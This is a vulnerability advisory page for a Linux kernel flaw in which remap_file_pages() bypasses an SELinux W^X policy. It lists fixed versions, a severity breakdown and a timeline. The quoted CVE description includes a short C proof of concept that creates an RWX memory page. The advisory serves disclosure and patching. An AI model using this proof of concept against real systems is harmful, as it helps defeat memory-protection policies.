Linux: Always-Incorrect Control Flow Implementation

What to do

1. Update Linux to 0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1 or 49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178 or 3393fddbfa947c8e1fdcc4509226905ffffd8b89 or ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3, whichever matches your release line, or a later version.
2. Update Linux Kernel to 6.1.120 or 6.6.54 or 6.10.13 or 6.11.2, whichever matches your release line, or a later version.

Affected products and versions

Version data comes from the organisation that assigned the CVE. Confirm against the vendor advisory before deciding you are unaffected.

How the severity score breaks down

Attack vector

LocalThe attacker needs local access or must trick a user into running something.

Attack complexity

LowNo special conditions are needed; the attack works reliably.

Privileges required

LowA basic user account is enough.

User interaction

NoneNo action by a victim is required.

Scope

UnchangedImpact stays within the vulnerable component.

Confidentiality

HighAll data handled by the component can be read.

Integrity

HighData or code can be modified at will.

Availability

HighThe component can be taken down completely.

Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. Scored by NVD.

Official description

In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]

Source: the CVE record as published by its numbering authority, via NVD and CVE.org.

The underlying weakness: Always-Incorrect Control Flow Implementation

Timeline

1. October 21, 2024CVE record published.
2. October 21, 2024CISA published its SSVC assessment (exploitation: none, automatable: no, technical impact: partial).
3. August 4, 2026Record last changed materially (score, affected products, status or references).

References

Recent Always-Incorrect Control Flow Implementation vulnerabilities

• 8.1 High severity

  btcd: Always-Incorrect Control Flow Implementation

  CVE-2024-38365Oct 11, 2024BtcsuiteEPSS 1.01%
• 8.6 High severity

  Cisco IOS XE Software: Always-Incorrect Control Flow Implementation

  CVE-2024-20480Sep 25, 2024Cisco
• 7.5 High severity

  envoy: Always-Incorrect Control Flow Implementation

  CVE-2024-45807Sep 20, 2024Envoyproxy
• 7.5 High severity

  quinn: Always-Incorrect Control Flow Implementation

  CVE-2024-45311Sep 2, 2024Quinn-rs
• 7.8 High severity

  Android Pixel Privilege Escalation Exploited

  CVE-2024-32896Jun 13, 2024GoogleEPSS 2.99%
• 7.5 High severity

  evmos: Always-Incorrect Control Flow Implementation

  CVE-2024-37153Jun 6, 2024Evmos

Spotted an error? Tell us.